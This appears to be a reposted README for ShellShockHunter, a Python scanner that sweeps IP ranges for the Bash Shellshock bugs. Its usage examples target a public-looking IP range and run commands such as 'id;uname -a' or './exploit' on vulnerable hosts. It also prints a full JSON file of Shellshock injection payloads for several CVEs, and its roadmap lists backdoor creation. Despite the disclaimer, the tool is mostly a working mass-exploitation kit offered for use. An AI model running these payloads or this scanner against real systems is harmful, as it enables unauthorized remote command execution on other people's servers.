ShellShockHunter – It’s A Simple Tool For Test Vulnerability Shellshock

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It’s a simple tool for test vulnerability shellshock

Autor:    MrCl0wn
Blog: http://blog.mrcl0wn.com
GitHub: https://github.com/MrCl0wnLab
Twitter: https://twitter.com/MrCl0wnLab
Email: [email protected]

Shellshock (software bug)

Shellshock, also known as Bashdoor, is a family of security bugs in the Unix Bash shell, the first of which was disclosed on 24 September 2014. Shellshock could enable an attacker to cause Bash to execute arbitrary commands and gain unauthorized access to many Internet-facing services, such as web servers, that use Bash to process requests.

Disclaimer

This or previous program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that me (MrCl0wnLab) is not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these programs is not MrCl0wnLab’s responsibility.

Installation

Use the package manager pip

Pip

pip install shodan
pip install ipinfo

Help

python main.py --help

usage: tool [-h] [--file <ips.txt>] [--range <ip-start>,<ip-end>] [--cmd-cgi <command shell>] [--exec-vuln <command shell>] [--thread <10>] [--check] [--ssl] [--cgi-file <cgi.txt>] [--timeout <5>] [--all] [--debug]

optional arguments:
-h, --help show this help message and exit
--file <ips.txt> File targets
--range <ip-start>,<ip-end>
Range IP Ex: 192.168.15.1,192.168.15.100
--cmd-cgi <command shell>
Command: uname -a
--exec-vuln <command shell>
Executing commands on vulnerable targets
--thread <10>, -t <10>
Eg. 20
--check Checker vuln
--ssl Set protocol https
--cgi-file &l t;cgi.txt>
Set file cgi
--timeout <5> Set timeout conection
--all Teste all payloads
--debug Set debugs

Command e.g:

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --range '194.206.187.X,194.206.187.XXX' --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' --all

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln 'curl -v -k -i "_TARGET_"'

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"'

Prints:

START

ShellShockHunter 7 print01

PROCESS

ShellShockHunter 8 print02

EXPECIAL COMMAND ( –exec-vuln ‘echo "_TARGET_"‘ )

ShellShockHunter 9 print03

Source file ( Exploits )

pwd: assets/exploits.json

{
"DEFAULT":
"() { :; }; echo ; /bin/bash -c '_COMMAND_'",
"CVE-2014-6271":
"() { :; }; echo _CHECKER_; /bin/bash -c '_COMMAND_'",
"CVE-2014-6271-2":
"() { :;}; echo '_CHECKER_' 'BASH_FUNC_x()=() { :;}; echo _CHECKER_' bash -c 'echo _COMMAND_'",
"CVE-2014-6271-3":
"() { :; }; echo ; /bin/bash -c '_COMMAND_';echo _CHECKER_;",
"CVE-2014-7169":
"() { (a)=>\' /bin/bash -c 'echo _CHECKER_'; cat echo",
"CVE-2014-7186":
"/bin/bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo '_CHECKER_, redir_stack'",
"CVE-2014-7187":
"(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | /bin/bash || echo '_CHECKER_, word_lineno'",
"CVE-2014-6278":
"() { _; } >_[$($())] { echo _CHECKER_; id; } /bin/bash -c '_COMMAND_'",
"CVE-2014-6278-2":
"shellshocker='() { echo _CHECKER_; }' bash -c shellshocker",
"CVE-2014-6277":
"() { x() { _; }; x() { _; } <<a; } /bin/bash -c _COMMAND_;echo _CHECKER_",
"CVE-2014-*":
"() { }; echo _CHECKER_' /bin/bash -c '_COMMAND_'"
}

Source file ( Config )

pwd: assets/config.json

{
"config": {
"threads": 10,
"path": {
"path_output": "output/",
"path_wordlist": "wordlist/",
"path_modules": "modules/",
"path_assets": "assets/"
},
"files_assets":{
"config": "assets/config.json",
"autor": "assets/autor.json",
"exploits": "assets/exploits.json"
},
"api":{
"shodan":"",
"ipinfo":""
}
}
}

Tree

├── assets
│   ├── autor.json
│   ├── config.json
│   ├── exploits.json
│   └── prints
│   ├── banner.png
│   ├── print01.png
│   ├── print02.png
│   └── print03.png
├── main.py
├── modules
│   ├── banner_shock.py
│   ├── color_shock.py
│   ├── file_shock.py
│   ├── __init__.py
│   ├── request_shock.py
│   ├── shodan_shock.py
│   └─&#9472 ; thread_shock.py
├── output
│   └── vuln.txt
├── README.md
└── wordlist
└── cgi.txt

Ref

  • https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf
  • https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29#CVE-2014-7186_and_CVE-2014-7187_Details
  • https://blog.inurl.com.br/search?q=shellshock
  • https://github.com/googleinurl/Xpl-SHELLSHOCK-Ch3ck/blob/master/xplSHELLSHOCK.php
  • https://github.com/chelseakomlo/shellshock_demo
  • https://github.com/xdistro/ShellShock/blob/master/shellshock_test.sh
  • https://github.com/capture0x/XSHOCK/blob/master/main.py
  • https://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html
  • https://blog.sucuri.net/2014/09/bash-vulnerability-shell-shock-thousands-of-cpanel-sites-are-high-risk.html
  • https://github.com/BuddhaLabs/PacketStorm-Exploits/blob/master/1410-exploits/apachemodcgi-shellshock.txt
  • https://github.com/gajos112/OSCP/blob/master/Shellshock.txt
  • https://dl.packetstormsecurity.net/1606-exploits/sunsecuregdog-shellshock.txt
  • http://stuff.ipsecs.com/files/ucs-shellshock_pl.txt
  • https://github.com/opsxcq/exploit-CVE-2014-6271
  • https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29#CVE-2014-7186_and_CVE-2014-7187_Details
  • https://manualdousuario.net/shellshock-bash-falha/
  • https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit

Roadmap

I started this project to study a little more python and interact more with APIS like shodan and ipinfo.

  • Command line structure
  • Banner
  • File management class
  • HttpRequests management class
  • Thread management class
  • Source file for exploits
  • Color in process
  • Shell Exec on vulnerable targets
  • Process debug
  • Integration with ipinfo api
  • Integration with ipinfo api
  • Integration with telegram api
  • Backdoor creation
  • Visual filter
  • Header manipulation
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